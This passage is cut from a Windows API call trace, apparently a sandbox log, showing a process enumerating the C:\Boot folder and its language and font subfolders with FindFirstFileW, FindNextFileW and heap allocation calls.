returned 1 [0073.754] FindNextFileW (in: hFindFile=0x4930c0, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0073.754] FindNextFileW (in: hFindFile=0x4930c0, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0073.754] FindClose (in: hFindFile=0x4930c0 | out: hFindFile=0x4930c0) returned 1 [0073.754] GetProcessHeap () returned 0x470000 [0073.754] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x528bb0 | out: hHeap=0x470000) returned 1 [0073.754] FindNextFileW (in: hFindFile=0x493080, lpFindFileData=0x2d2f320 | out: lpFindFileData=0x2d2f320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0073.754] GetProcessHeap () returned 0x470000 [0073.754] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x528bb0 [0073.754] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\Fonts\\*", lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4930c0 [0073.754] FindNextFileW (in: hFindFile=0x4930c0, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.754] FindNextFileW (in: hFindFile=0x4930c0, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0073.754] FindNextFileW (in: hFindFile=0x4930c0, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0073.754] FindNextFileW (in: hFindFile=0x4930c0, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0073.755] FindNextFileW (in: hFindFile=0x4930c0, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0073.755] FindNextFileW (in: hFindFile=0x4930c0, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0073.755] FindNextFileW (in: hFindFile=0x4930c0, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0 [0073.755] FindClose (in: hFindFile=0x4930c0 | out: hFindFile=0x4930c0) returned 1 [0073.755] GetProcessHeap () returned 0x470000 [0073.755] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x528bb0 | out: hHeap=0x470000) returned 1 [0073.755] FindNextFileW (in: hFindFile=0x493080, lpFindFileData=0x2d2f320 | out: lpFindFileData=0x2d2f320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0073.755] GetProcessHeap () returned 0x470000 [0073.755] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x528bb0 [0073.755] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fr-FR\\*", lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4930c0 [0073.755] FindNextFileW (in: hFindFile=0x4930c0, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.755] FindNextFileW (in: hFindFile=0x4930c0, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0073.755] FindNextFileW (in: hFindFile=0x4930c0, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0073.756] FindClose (in: hFindFile=0x4930c0 | out: hFindFile=0x4930c0) returned 1 [0073.756] GetProcessHeap () returned 0x470000 [0073.756] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x528bb0 | out: hHeap=0x470000) returned 1 [0073.756] FindNextFileW (in: hFindFile=0x493080, lpFindFileData=0x2d2f320 | out: lpFindFileData=0x2d2f320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0073.756] GetProcessHeap () returned 0x470000 [0073.756] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x528bb0 [0073.756] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\hu-HU\\*", lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4930c0 [0073.756] FindNextFileW (in: hFindFile=0x4930c0, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.756] FindNextFileW (in: hFindFile=0x4930c0, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0073.756] FindNextFileW (in: hFindFile=0x4930c0, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0073.756] FindClose (in: hFindFile=0x4930c0 | out: hFindFile=0x4930c0) returned 1 [0073.756] GetProcessHeap () returned 0x470000 [0073.756] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x528bb0 | out: hHeap=0x470000) returned 1 [0073.756] FindNextFileW (in: hFindFile=0x493080, lpFindFileData=0x2d2f320 | out: lpFindFileData=0x2d2f320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0073.756] GetProcessHeap () returned 0x470000 [0073.756] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x528bb0 [0073.757] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\it-IT\\*", lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4930c0 [0073.757] FindNextFileW (in: hFindFile=0x4930c0, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.757] FindNextFileW (in: hFindFile=0x4930c0, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0073.757] FindNextFileW (in: hFindFile=0x4930c0, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0073.757] FindClose (in: hFindFile=0x4930c0 | out: hFindFile=0x4930c0) returned 1 [0073.757] GetProcessHeap () returned 0x470000 [0073.757] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x528bb0 | out: hHeap=0x470000) returned 1 [0073.757] FindNextFileW (in: hFindFile=0x493080, lpFindFileData=0x2d2f320 | out: lpFindFileData=0x2d2f320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0073.757] GetProcessHeap () returned 0x470000 [0073.757] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x528bb0 [0073.757] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ja-JP\\*", lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4930c0 [0073.757] FindNextFileW (in: hFindFile=0x4930c0, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.757] FindNextFileW (in: hFindFile=0x4930c0, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0073.758] FindNextFileW (in: hFindFile=0x4930c0, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0073.758] FindClose (in: hFindFile=0x4930c0 | out: hFindFile=0x4930c0) returned 1 [0073.758] GetProcessHeap () returned 0x470000 [0073.758] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x528bb0 | out: hHeap=0x470000) returned 1 [0073.758] FindNextFileW (in: hFindFile=0x493080, lpFindFileData=0x2d2f320 | out: lpFindFileData=0x2d2f320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0073.758] GetProcessHeap () returned 0x470000 [0073.758] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x528bb0 [0073.758] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ko-KR\\*", lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4930c0 [0073.758] FindNextFileW (in: hFindFile=0x4930c0, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.758] FindNextFileW (in: hFindFile=0x4930c0, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0073.758] FindNextFileW (in: hFindFile=0x4930c0, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0073.758] FindClose (in: hFindFile=0x4930c0 | out: hFindFile=0x4930c0) returned 1 [0073.758] GetProcessHeap () returned 0x470000 [0073.758] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x528bb0 | out: hHeap=0x470000) returned 1 [0073.758] FindNextFileW (in: hFindFile=0x493080, lpFindFileData=0x2d2f320 | out: lpFindFileData=0x2d2f320*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0073.759] FindNextFileW (in: hFindFile=0x493080, lpFindFileData=0x2d2f320 | out: lpFindFileData=0x2d2f320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0073.759] GetProcessHeap () returned 0x470000 [0073.759] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x528bb0 [0073.759] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\nb-NO\\*", lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4930c0 [0073.759] FindNextFileW (in: hFindFile=0x4930c0, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.759] FindNextFileW (in: hFindFile=0x4930c0, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0073.759] FindNextFileW (in: hFindFile=0x4930c0, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0073.759] FindClose (in: hFindFile=0x4930c0 | out: hFindFile=0x4930c0) returned 1 [0073.759] GetProcessHeap () returned 0x470000 [0073.759] HeapFree (in: hHeap=0x470000, dwFlags=0x0, 